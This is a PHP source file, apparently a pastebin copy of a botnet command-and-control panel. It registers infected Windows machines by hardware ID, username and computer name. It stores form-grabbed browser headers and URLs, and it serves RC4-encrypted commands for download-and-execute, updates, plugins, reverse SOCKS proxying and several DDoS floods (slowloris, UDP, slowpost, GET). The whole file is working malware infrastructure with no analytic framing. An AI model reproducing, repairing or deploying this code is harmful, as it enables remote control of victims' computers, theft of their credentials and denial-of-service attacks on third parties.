· 10 years ago · Sep 09, 2016, 04:18 PM
1<?php
2//error_reporting(0);
3
4ob_start();
5include("inc/config.php");
6include("inc/geoip.php");
7ob_end_clean();
8
9function EncodeCommand($command)
10{
11 switch (strtolower($command)) {
12 case "uninstall":
13 return chr(1);
14 break;
15 case "down & exec":
16 return chr(2);
17 break;
18 case "slowloris ddos":
19 return chr(3);
20 break;
21 case "udp ddos":
22 return chr(4);
23 break;
24 case "slowpost ddos":
25 return chr(5);
26 break;
27 case "stop ddos":
28 return chr(6);
29 break;
30 case "update":
31 return chr(7);
32 break;
33 case "get flood":
34 return chr(8);
35 break;
36 case "rev socks":
37 return chr(9);
38 break;
39 case "browse url":
40 return chr(10);
41 break;
42 case "browse url hidden":
43 return chr(11);
44 break;
45 //case "knock time":
46 // return chr(12);
47 // break;
48 case "down & exec md5":
49 return chr(13);
50 break;
51 case "update md5":
52 return chr(14);
53 break;
54 case "blacklist":
55 return chr(15);
56 break;
57 case "plugin":
58 return chr(16);
59 break;
60 case "remove plugin":
61 return chr(17);
62 break;
63 case "down & exec md5 rc4":
64 return chr(18);
65 break;
66 }
67}
68
69function RC4($pwd, $data){
70 $key[] = '';
71 $box[] = '';
72 $cipher = '';
73
74 $pwd_length = strlen($pwd);
75 $data_length = strlen($data);
76
77 for ($i = 0; $i < 256; $i++)
78 {
79 $key[$i] = ord($pwd[$i % $pwd_length]);
80 $box[$i] = $i;
81 }
82 for ($j = $i = 0; $i < 256; $i++)
83 {
84 $j = ($j + $box[$i] + $key[$i]) % 256;
85 $tmp = $box[$i];
86 $box[$i] = $box[$j];
87 $box[$j] = $tmp;
88 }
89 for ($a = $j = $i = 0; $i < $data_length; $i++)
90 {
91 $a = ($a + 1) % 256;
92 $j = ($j + $box[$a]) % 256;
93 $tmp = $box[$a];
94 $box[$a] = $box[$j];
95 $box[$j] = $tmp;
96 $k = $box[(($box[$a] + $box[$j]) % 256)];
97 $cipher .= chr(ord($data[$i]) ^ $k);
98 }
99 return $cipher;
100}
101
102$dwTimeStamp = time();
103
104$hSql = mysql_connect($sHost, $sUser, $sPass) or die(mysql_error());
105
106if ($hSql) {
107 if (mysql_select_db($sDatabase, $hSql)) {
108 //Check for IP via TOR
109 if (isset($_POST['i'])){
110 $sIP = htmlspecialchars($_POST["i"]);
111 }else{
112 $sIP = $_SERVER["REMOTE_ADDR"];
113 }
114
115 //Country
116 $hGeoIp = geoip_open("inc/geoip.txt", GEOIP_STANDARD);
117 $Country = StrToLower(geoip_country_code_by_addr($hGeoIp, $sIP));
118 geoip_close($hGeoIp);
119
120 if (strlen($Country) != 2) {
121 $Country = "un";
122 }
123
124 //DB INSTALLATION
125 $dwResult = mysql_query("SELECT COUNT(*) FROM `b_plugins`;", $hSql);
126 if (!$dwResult) {
127 //Create Tables
128 mysql_query("CREATE TABLE IF NOT EXISTS `b_blacklist` (`Id` int(11) NOT NULL AUTO_INCREMENT,`Ip` varchar(15) NOT NULL,`Time` int(15) NOT NULL DEFAULT '0',`Command` varchar(20) NOT NULL,`Parameter` varchar(150) NOT NULL, `Country` varchar(2) NOT NULL, PRIMARY KEY (`Id`)) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;", $hSql);
129 mysql_query("CREATE TABLE IF NOT EXISTS `b_plugins` (`Id` int(11) NOT NULL AUTO_INCREMENT,`Ip` varchar(15) NOT NULL,`Time` int(15) NOT NULL DEFAULT '0',`Command` varchar(20) NOT NULL,`Parameter` varchar(150) NOT NULL, `Country` varchar(2) NOT NULL, PRIMARY KEY (`Id`)) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;", $hSql);
130 mysql_query("CREATE TABLE IF NOT EXISTS `b_bots` (`Id` int(11) NOT NULL AUTO_INCREMENT,`Ip` varchar(15) NOT NULL,`Version` varchar(5) NOT NULL,`Country` varchar(2) NOT NULL,`Hwid` varchar(40) NOT NULL,`Computername` varchar(150) NOT NULL,`Username` varchar(150) NOT NULL,`Windows` varchar(5) NOT NULL,`Bit` varchar(2) NOT NULL,`First` int(15) NOT NULL DEFAULT '0',`Last` int(15) NOT NULL DEFAULT '0',PRIMARY KEY (`Id`)) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;", $hSql);
131 mysql_query("CREATE TABLE IF NOT EXISTS `b_commands` (`Id` int(11) NOT NULL AUTO_INCREMENT,`Ip` varchar(15) NOT NULL,`Time` int(15) NOT NULL DEFAULT '0',`Command` varchar(20) NOT NULL,`Parameter` varchar(150) NOT NULL,`cur` int(11) NOT NULL,`Loads` int(11) NOT NULL, `Country` varchar(2) NOT NULL, `Guid` varchar(100) NOT NULL, PRIMARY KEY (`Id`)) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;", $hSql);
132 mysql_query("CREATE TABLE IF NOT EXISTS `b_headers` (`Id` int(11) NOT NULL AUTO_INCREMENT,`Ip` varchar(15) NOT NULL,`Program` varchar(50) NOT NULL,`Url` varchar(300) NOT NULL,`timestamp` int(15) NOT NULL DEFAULT '0',`Headers` varchar(10000) NOT NULL,`hid` varchar(32) NOT NULL,`Country` varchar(2) NOT NULL,PRIMARY KEY (`Id`)) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;", $hSql);
133 }
134
135 if ((isset($_GET['logout'])) || (isset($_GET['login'])) || (isset($_GET['bots'])) || (isset($_GET['plugins'])) || (isset($_GET['stats'])) || (isset($_GET['blacklist'])) || (isset($_GET['commands'])) || (isset($_GET['logs']))) {
136 //ADMIN PANEL
137 session_start();
138 //LOGOUT
139 if (isset($_GET['logout'])) {
140 session_destroy();
141 header('Location: ?login');
142 exit;
143 }
144 //LOGIN
145 if (isset($_GET['login'])) {
146 if (isset($_POST["password"])) {
147 if ((md5($_POST["password"]) == $sPanelPassword) && ($_POST["username"] == $sPanelUsername)) {
148 $_SESSION["password"] = $sPanelPassword;
149 $_SESSION["username"] = $sPanelUsername;
150 //Logged in, Proceed..
151 header('Location: ?stats');
152 }
153 }
154 Print file_get_contents("inc/login.html");
155 exit;
156 }
157 //Check Session
158 if (($_SESSION["password"] == $sPanelPassword) && ($_SESSION["username"] == $sPanelUsername)) {
159 //Logged in
160 }else{
161 session_destroy();
162 header('Location: ?login');
163 exit;
164 }
165
166 if (isset($_GET['bots'])) {
167 include("inc/bots.php");
168 $sHtml = GetBotList($hSql, $dwRecords, $dwSecondsOnline);
169 }
170
171 if (isset($_GET['blacklist'])) {
172 include("inc/blacklist.php");
173 $sHtml = GetBlackList($hSql, $Country);
174 }
175
176 if (isset($_GET['logs'])) {
177 include("inc/logs.php");
178 $sHtml = GetLogs($hSql, $dwRecords);
179 }
180
181 if (isset($_GET['stats'])) {
182 include("inc/stats.php");
183 $sHtml = GetStats($hSql, $dwSecondsOnline);
184 }
185
186 if (isset($_GET['commands'])) {
187 include("inc/commands.php");
188 $sHtml = GetCommandList($hSql, $Country);
189 }
190
191 if (isset($_GET['plugins'])) {
192 include("inc/plugins.php");
193 $sHtml = GetCommandList($hSql, $Country);
194 }
195
196 //Count Records
197 $dwResult = mysql_query("SELECT (SELECT count(*) FROM b_bots) AS bots,
198 (SELECT count(*) FROM b_bots WHERE Last >" . (time() - ($dwSecondsOnline+5)) . ") AS bots_online,
199 (SELECT count(*) FROM b_bots WHERE Last >" . (time() - 86400) . ") AS bots_online24", $hSql);
200
201 $row = mysql_fetch_array($dwResult);
202
203 //Display bot numbers
204 $sHtml = str_replace("%TOTAL%", $row['bots'], $sHtml);
205 $sHtml = str_replace("%ONLINE%", $row['bots_online'], $sHtml);
206 $sHtml = str_replace("%ONLINE24%", $row['bots_online24'], $sHtml);
207 $sHtml = str_replace("%OFFLINE%", $row['bots'] - $row['bots_online'], $sHtml);
208 $sHtml = str_replace("%OFFLINE24%", $row['bots'] - $row['bots_online24'], $sHtml);
209 if ((int)$row['bots'] <= 0){
210 $sHtml = str_replace("%PONLINE%", 0, $sHtml);
211 }else{
212 $sHtml = str_replace("%PONLINE%", Round(($row['bots_online'] / $row['bots']) * 100), $sHtml);
213 }
214
215 //Display user + IP
216 $sHtml = str_replace("%USERNAME%", $_SESSION["username"], $sHtml);
217 $sHtml = str_replace("%IPADDRESS%", $sIP, $sHtml);
218 Print $sHtml;
219 exit;
220 }
221
222 //POST FORMGRABBER
223 if (isset($_POST['p']) && isset($_POST['u']) && isset($_POST['h']) && isset($_POST['s'])) {
224 $dwResult = mysql_query("SELECT * FROM `b_headers` WHERE `hid` = '" . mysql_real_escape_string(htmlspecialchars(urldecode($_POST['s']))) . "';", $hSql);
225 if (mysql_num_rows($dwResult) == 0) {
226 //Decrypt Data!
227 $sProgram = mysql_real_escape_string(htmlspecialchars(urldecode($_POST["p"])));
228 $sUrl = mysql_real_escape_string(htmlspecialchars(urldecode($_POST["u"])));
229 $sHeaders = mysql_real_escape_string(htmlspecialchars(urldecode($_POST["h"])));
230
231 //Insert the data
232 mysql_query("INSERT INTO `b_headers` (`Id` ,`Ip` ,`Program` ,`Url` ,`Headers`, `hid`, `timestamp`, `Country`) VALUES (NULL , '" . $sIP . "', '" . $sProgram . "', '" . $sUrl . "', '" . $sHeaders . "', '" . mysql_real_escape_string(htmlspecialchars(urldecode($_POST["s"]))) . "', '" . $dwTimeStamp . "', '" . $Country . "');");
233 Exit;
234 }
235 Exit;
236 }
237
238 //Knock, Knock. Who's there?
239 if (isset($_POST['v']) && isset($_POST['s']) && isset($_POST['w']) && isset($_POST['c']) && isset($_POST['u']) && isset($_POST['b'])) {
240 //Decrypt Data
241 $sUsername= mysql_real_escape_string(htmlspecialchars(urldecode($_POST["u"])));
242 $sComputer= mysql_real_escape_string(htmlspecialchars(urldecode($_POST["c"])));
243 $sGUID = mysql_real_escape_string(htmlspecialchars(urldecode($_POST["s"])));
244
245 $dwResult = mysql_query("SELECT * FROM `b_bots` WHERE `Hwid` = '" . mysql_real_escape_string(htmlspecialchars(urldecode($_POST['s']))) . "';", $hSql);
246 if (mysql_num_rows($dwResult) == 0) {
247 //Insert Data
248 mysql_query("INSERT INTO `b_bots` (`Id` ,`Ip` ,`Version`,`Country`, `Hwid`, `Windows`, `First`, `Last`, `Computername`, `Username`, `Bit`) VALUES (NULL , '" . $sIP . "', '" . mysql_real_escape_string(htmlspecialchars(urldecode($_POST["v"]))) . "', '" . $Country . "', '" . $sGUID . "', '" . mysql_real_escape_string(htmlspecialchars(urldecode($_POST["w"]))) . "', '" . $dwTimeStamp . "', '" . $dwTimeStamp . "', '" . $sComputer . "', '" . $sUsername . "', '" . mysql_real_escape_string(htmlspecialchars(urldecode($_POST['b']))) . "');");
249 $dwLast = 0;
250 } else {
251 $row = mysql_fetch_array($dwResult);
252 $dwLast = $row["Last"];
253 $sGUID = $row['Hwid'];
254 mysql_query("UPDATE `b_bots` SET `Ip`='" . $sIP . "', `Country`='" . $Country . "', `Version`='" . mysql_real_escape_string(htmlspecialchars(urldecode($_POST["v"]))) . "', `Last`=" . $dwTimeStamp . " WHERE `Hwid` = '" . mysql_real_escape_string(htmlspecialchars(urldecode($_POST['s']))) . "';");
255 }
256
257 //GET COMMANDS
258 $sCommands = "";
259 $dwResult = mysql_query("SELECT * FROM `b_commands`;", $hSql);
260 $i = 0;
261 while ($row = mysql_fetch_array($dwResult)) {
262 if ($dwLast <= $row["Time"]){
263 if ((stristr(StrToLower($row["Guid"]), StrToLower($sGUID)) != FALSE) || ($row["Guid"] == '')) {
264 if ((($row["Loads"] > 0) && ($row["Loads"] > $row["cur"])) || ($row["Loads"] == 0)) {
265 mysql_query("UPDATE `b_commands` SET `cur`='" . ($row["cur"] + 1) . "' WHERE `Id` = '" . $row["Id"] . "';");
266 $sCommands .= EncodeCommand($row["Command"]) . $row["Parameter"] . chr(0);
267 }
268 }
269 }
270 }
271
272 //GET BLACKLIST
273 $dwResult = mysql_query("SELECT * FROM `b_blacklist`;", $hSql);
274 $i = 0;
275 while ($row = mysql_fetch_array($dwResult)) {
276 $sCommands .= EncodeCommand($row["Command"]) . $row["Parameter"] . chr(0);
277 }
278
279 //GET PLUGINS
280 $dwResult = mysql_query("SELECT * FROM `b_plugins`;", $hSql);
281 $i = 0;
282 while ($row = mysql_fetch_array($dwResult)) {
283 $sCommands .= EncodeCommand("plugin") . $row["Command"] . ":" . $row["Parameter"] . chr(0);
284 }
285
286 //UPDATE KNOCK TIME
287 $sCommands .= chr(12) . $dwSecondsOnline . chr(0);
288
289 if ($sCommands != ''){
290 //Encrypt Traffic with the bot GUID as password
291 print RC4($sGUID, $sCommands);
292 }
293 }
294 }
295}
296?>